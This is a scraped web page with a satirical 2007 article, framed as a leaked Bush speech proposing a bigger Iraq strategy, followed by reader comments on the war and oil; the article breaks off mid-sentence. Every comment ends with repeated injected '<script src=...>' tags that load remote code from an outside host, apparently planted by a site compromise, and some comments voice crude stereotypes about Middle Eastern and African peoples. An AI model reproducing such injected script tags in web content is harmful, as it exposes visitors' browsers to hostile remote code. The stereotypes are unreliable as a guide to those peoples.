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President's Leaked Speech Reveals Bold New Iraq Strategy: More of the Same, But Bigger
by Kent Wicker on 1/10/2007 (8)

It's a surefire strategy that can't lose!
Washington (WPI) - A leaked copy of the President's address tonight indicates that the President will call for "a bold new visionary strategy of continuing to do what we have been doing so far" in Iraq, "only bigger." To aid a strained military in that task, President Bush proposes the creation of a "Reagan Brigade" of neo-conservative volunteers, supplemented by the deployment of up to 40% of postal workers and other government workers.

"It may seem that we lack options in Iraq," reads the Presidential speech. "However, I assure you this is not so. In fact, I've barely gotten started." The speech then goes on to list several further programs the Administration began implementing today:
Project Potemkin, which will replace actual American military units with large plastic models, so as to free the personnel and equipment for actions elsewhere in Iraq.

Project True Belief, in which large numbers of Americans will infiltrate extremist Muslim militias in Iraq by claiming to have converted to either Shia or Sunni Islam.

Project Virtual Freedom - a project to design and build online a new Iraq made up of happy Iraqi villagers grateful to the US for bringing to them democracy.
In the speech, President Bush cites approvingly the anti-fascist Lincoln and Washington brigades of the Spanish Civil War, made up entirely of American volunteers, and proposes the creation of a new "Reagan Brigade" made up entirely of American supporters of the invasion of Iraq, to be sent to supplement and, in some cases, replace American military forces in Iraq.

"Now is the time for all Iraq war supporters to put up or shut up!" reads the speech. "Given the strong support for this war by various conservative-funded college newspapers and columnists, we expect large numbers of conservative college students and columnists to enlist in the Reagan Brigade. Unless, of course, they're fifth columnists!" the President's speech reads, making a little Spanish Civil War joke.

At present time, no college students - conservative or otherwise - have stepped forward to join.

President Bush notes that his new strategy will demand more from civilians.

"So far," the leaked Presidential speech reads, "I have justified our struggle in Iraq as crucial to the existence of our nation - yet oddly I have not actually called on most Americans to make any sacrifice whatsoever other than to go shopping a lot." The Bush speech then notes that this situation will change, as civilians learn to make do with only four days of postal service per week while postal workers are deployed overseas. If the Reagan Brigade does not attract enough volunteers, the President plans to start sending up to 40% of postal workers and other government employees to Iraq to serve in non-combatant positions. "This will give a whole new meaning to the term 'going postal'" reads the President's speech.

The President, as expected, remains steady in his conviction that our invasion of Iraq somehow helped, rather than harmed, the situation of the United States - and in his conviction that US forces should remain in Iraq indefinitely. "The great Albert Einstein," the President's sp


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Comments

1. by Motz on 3/1/2007 4:52:29 PM
I had the fortune of working with an Islamic elctronics tech who taught at the University of Baghdad, and his opinion (this was before we went in) that the Sunni-Shiite barrier would be fierce, and that Bush was a fool for underestimating it, and he was correct. He also said that the war was fully winnable, but would take 10-15 years of occupation, so I think we're about halfway there. Leaving now would be just as irresponsible as going in was. Disturbing thing is, though, he told me that most Iraqis seem to be comfortable with brutal, heavy handed dictators. They almost like the idea of sending in a militia to exterminate people who cause trouble. That's the sense I got from him. He brushed off Democracy as weak and ineffective...truth..o </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kris on 3/1/2007 4:52:29 PM
When you have those kind of racicalists, you need a heavy handed dictator. I'm not sure democracy can work there given any amount of time. Our best bet would have to never have gone there IMO but I don't think we can just pull out now either because then it would be an even bigger mess than it is now. I'm not sure what we can really do now, but it's gonna cost us a lot of lives to do... 20,000 more headed to Iraq is the plan :(isplay:none" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Motz on 3/1/2007 4:52:29 PM
The question is, can we afford it? With cities like Detroit and Cleveland in decay, who cares about Iraq? But can wee afford not to? 65% of the world's oil is in that region, and we are so entirely hooked on oil, we cannot afford to leave the region to radicalists who will sell it all to China to get even for the war. We are in it for th long haul, like it or not. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Motz on 3/1/2007 4:52:29 PM
I've resigned myself to the fact that areas like the Middle East and Africa just don't do very well with Democracy. Radical religion or brutal dictatorships seem to be the only way of keeping people from killing each other in those places. Must be the oppressive heat. Sad but true.n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Kris on 3/1/2007 4:52:29 PM
When you come from a region where you'd be gased for saying something negative about your leader, are you going to be threatened by someone how will just put you in jail (after a trial)... seriously, they're use to very harsh treatment and aren't the least bit threatened by us. We could have afforded not to before we went in, now we can't leave because it would be far worse. Saddam was rutheless, but he had the country under control too. I'm betting if we took the money we spent on the war and the lives we lost to the war and invested that money and that manpower, we easily could come up with a feesible alternative fuel source. Of course, with people supported by the oil companies in power in the US, why're not gonna do that.< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Motz on 3/1/2007 4:52:29 PM
We need our oil. It's just a geographical accident it happens to be under the feet of the people of the Middle East. Oil is a WORLD resource, and is far too important to be left in the hands of despots. You need oil, just like me. every single living day of our lives. Dissing Bush for having oil interests in Iraq is like a Heroin addict screaming for tougher drug laws. All the world is a brothel and we are all whores. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Kris on 3/1/2007 4:52:29 PM
There is oil in the United States... problem is, it's not developed and envirnomental concerns make much of it unattainable. I'm not saying we can live without oil, and it sucks to be at the mercy of other countries, but I sure as heck think we could have spent however millions we spent on Iraq and been able to reduce our dependancy on said oil. But there are too many powerful people here that don't want that, so rather than develope new resources or resources we have, we'd rather fuck up another country... but we need oil so that's okay.ispl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by Motz on 3/1/2007 4:52:29 PM
Yeah well, fuck away. I need my Citgo. So much for humanism. Any sense of fairness in me died 15 years ago, and will die in you soon as well.t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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